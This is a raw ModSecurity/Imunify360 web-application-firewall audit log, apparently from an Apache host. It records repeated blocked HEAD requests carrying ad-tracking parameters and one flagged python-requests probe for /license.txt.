HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d2eca858-E--
--d2eca858-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274282235000 7866 (- - -)
Stopwatch2: 1789274282235000 7866; combined=5801, p1=300, p2=5032, p3=90, p4=10, p5=368, sr=137, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d2eca858-Z--
--e4bec70c-A--
[13/Sep/2026:07:38:02.674713 +0300] aqYoqmM7dE9KgIIOpQhi5wAAAMM 95.134.102.190 57058 127.0.0.1 7081
--e4bec70c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.190
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e4bec70c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e4bec70c-E--
--e4bec70c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274282667515 7254 (- - -)
Stopwatch2: 1789274282667515 7254; combined=5462, p1=454, p2=4544, p3=76, p4=9, p5=378, sr=177, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e4bec70c-Z--
--25347864-A--
[13/Sep/2026:07:38:40.030352 +0300] aqYo0Ewu1RSkptiiNIXwOgAAAJE 209.101.128.161 33966 127.0.0.1 7081
--25347864-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.161
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--25347864-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--25347864-E--
--25347864-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274320010791 19667 (- - -)
Stopwatch2: 1789274320010791 19667; combined=14636, p1=490, p2=13235, p3=124, p4=14, p5=772, sr=196, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--25347864-Z--
--2936cf5d-A--
[13/Sep/2026:07:38:40.365460 +0300] aqYo0Ewu1RSkptiiNIXwOwAAAIg 209.101.128.249 33974 127.0.0.1 7081
--2936cf5d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--2936cf5d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2936cf5d-E--
--2936cf5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274320346547 18997 (- - -)
Stopwatch2: 1789274320346547 18997; combined=8636, p1=2597, p2=5455, p3=189, p4=10, p5=381, sr=279, sw=4, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2936cf5d-Z--
--45d4e64c-A--
[13/Sep/2026:07:38:40.726725 +0300] aqYo0Ewu1RSkptiiNIXwPAAAAIw 209.101.128.87 33984 127.0.0.1 7081
--45d4e64c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--45d4e64c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--45d4e64c-E--
--45d4e64c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274320720975 5794 (- - -)
Stopwatch2: 1789274320720975 5794; combined=4266, p1=241, p2=3672, p3=68, p4=7, p5=278, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--45d4e64c-Z--
--6c723702-A--
[13/Sep/2026:07:39:01.706184 +0300] aqYo5SsVWymXUono-eRRcgAAAAE 45.91.4.197 58064 127.0.0.1 7081
--6c723702-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.197
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6c723702-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6c723702-E--
--6c723702-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274341693361 12871 (- - -)
Stopwatch2: 1789274341693361 12871; combined=10719, p1=367, p2=9828, p3=132, p4=14, p5=377, sr=182, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c723702-Z--
--3c62e44f-A--
[13/Sep/2026:07:39:51.076698 +0300] aqYpFzTJ6xTvcJoem7f2sQAAAEc 151.243.174.110 57684 127.0.0.1 7081
--3c62e44f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.110
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--3c62e44f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3c62e44f-E--
--3c62e44f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274391068270 8486 (- - -)
Stopwatch2: 1789274391068270 8486; combined=6384, p1=313, p2=5583, p3=111, p4=9, p5=368, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3c62e44f-Z--
--84e5547c-A--
[13/Sep/2026:07:39:51.188679 +0300] aqYpFysVWymXUono-eRRdAAAAAI 151.243.174.110 57692 127.0.0.1 7081
--84e5547c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.110
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--84e5547c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--84e5547c-E--
--84e5547c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274391181700 7026 (- - -)
Stopwatch2: 1789274391181700 7026; combined=5354, p1=241, p2=4662, p3=75, p4=15, p5=361, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--84e5547c-Z--
--b280f153-A--
[13/Sep/2026:07:39:51.544604 +0300] aqYpF0wu1RSkptiiNIXwQAAAAJc 95.134.102.141 57698 127.0.0.1 7081
--b280f153-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--b280f153-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b280f153-E--
--b280f153-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274391537964 6714 (- - -)
Stopwatch2: 1789274391537964 6714; combined=4680, p1=269, p2=4079, p3=69, p4=8, p5=255, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b280f153-Z--
--0f3c471a-A--
[13/Sep/2026:07:40:24.090403 +0300] aqYpOGM7dE9KgIIOpQhi-QAAAMY 91.124.31.100 35422 127.0.0.1 7081
--0f3c471a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.100
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--0f3c471a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--0f3c471a-E--
--0f3c471a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274424080300 10146 (- - -)
Stopwatch2: 1789274424080300 10146; combined=7204, p1=1444, p2=5365, p3=84, p4=8, p5=303, sr=679, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0f3c471a-Z--
--128fc050-A--
[13/Sep/2026:07:40:24.382981 +0300] aqYpOGM7dE9KgIIOpQhi-gAAAMc 46.203.158.96 35434 127.0.0.1 7081
--128fc050-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.96
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--128fc050-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--128fc050-E--
--128fc050-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274424377499 5522 (- - -)
Stopwatch2: 1789274424377499 5522; combined=4108, p1=255, p2=3511, p3=70, p4=7, p5=265, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--128fc050-Z--
--7d805c2f-A--
[13/Sep/2026:07:40:24.691807 +0300] aqYpOGM7dE9KgIIOpQhi-wAAAMM 91.124.31.113 35446 127.0.0.1 7081
--7d805c2f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.113
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--7d805c2f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7d805c2f-E--
--7d805c2f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274424685106 6742 (- - -)
Stopwatch2: 1789274424685106 6742; combined=5195, p1=939, p2=3852, p3=62, p4=5, p5=337, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7d805c2f-Z--
--69ed9e44-A--
[13/Sep/2026:07:41:07.523727 +0300] aqYpY0wu1RSkptiiNIXwRwAAAJE 91.124.31.226 47230 127.0.0.1 7081
--69ed9e44-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.226
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--69ed9e44-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--69ed9e44-E--
--69ed9e44-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274467514469 9302 (- - -)
Stopwatch2: 1789274467514469 9302; combined=5455, p1=306, p2=4789, p3=67, p4=7, p5=286, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--69ed9e44-Z--
--94868a00-A--
[13/Sep/2026:07:41:07.814926 +0300] aqYpY2M7dE9KgIIOpQhjAwAAAMI 46.203.158.48 47236 127.0.0.1 7081
--94868a00-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.48
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--94868a00-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--94868a00-E--
--94868a00-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274467799584 15386 (- - -)
Stopwatch2: 1789274467799584 15386; combined=22282, p1=876, p2=3968, p3=68, p4=6, p5=8829, sr=113, sw=0, l=0, gc=8535
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--94868a00-Z--
--333d5038-A--
[13/Sep/2026:07:41:08.083381 +0300] aqYpZEwu1RSkptiiNIXwSAAAAIg 46.203.158.252 47242 127.0.0.1 7081
--333d5038-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.252
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--333d5038-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--333d5038-E--
--333d5038-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274468077566 5855 (- - -)
Stopwatch2: 1789274468077566 5855; combined=4332, p1=210, p2=3785, p3=71, p4=6, p5=260, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--333d5038-Z--
--6e199037-A--
[13/Sep/2026:07:41:22.763493 +0300] aqYpcisVWymXUono-eRRdwAAAAk 188.166.231.242 43562 127.0.0.1 7081
--6e199037-B--
GET /license.txt HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 188.166.231.242
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1
--6e199037-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6e199037-E--
--6e199037-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/license.txt"] [unique_id "aqYpcisVWymXUono-eRRdwAAAAk"]
Stopwatch: 1789274482755088 8450 (- - -)
Stopwatch2: 1789274482755088 8450; combined=6775, p1=303, p2=6350, p3=69, p4=12, p5=41, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e199037-Z--
--c91fea28-A--
[13/Sep/2026:07:42:01.714009 +0300] aqYpmUwu1RSkptiiNIXwTAAAAJQ 95.134.102.223 57904 127.0.0.1 7081
--c91fea28-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--c91fea28-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c91fea28-E--
--c91fea28-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274521689392 24687 (- - -)
Stopwatch2: 1789274521689392 24687; combined=17432, p1=444, p2=16126, p3=310, p4=19, p5=533, sr=225, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c91fea28-Z--
--7006d703-A--
[13/Sep/2026:07:42:02.081696 +0300] aqYpmmM7dE9KgIIOpQhjBwAAANY 95.134.102.153 57912 127.0.0.1 7081
--7006d703-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--7006d703-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7006d703-E--
--7006d703-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274522072682 9080 (- - -)
Stopwatch2: 1789274522072682 9080; combined=7071, p1=310, p2=6243, p3=86, p4=8, p5=423, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7006d703-Z--
--edc96202-A--
[13/Sep/2026:07:42:02.444444 +0300] aqYpmmM7dE9KgIIOpQhjCAAAAMg 151.243.174.154 57920 127.0.0.1 7081
--edc96202-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--edc96202-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--edc96202-E--
--edc96202-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274522434675 9825 (- - -)
Stopwatch2: 1789274522434675 9825; combined=7618, p1=346, p2=6672, p3=203, p4=12, p5=385, sr=153, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--edc96202-Z--
--a01aec2d-A--
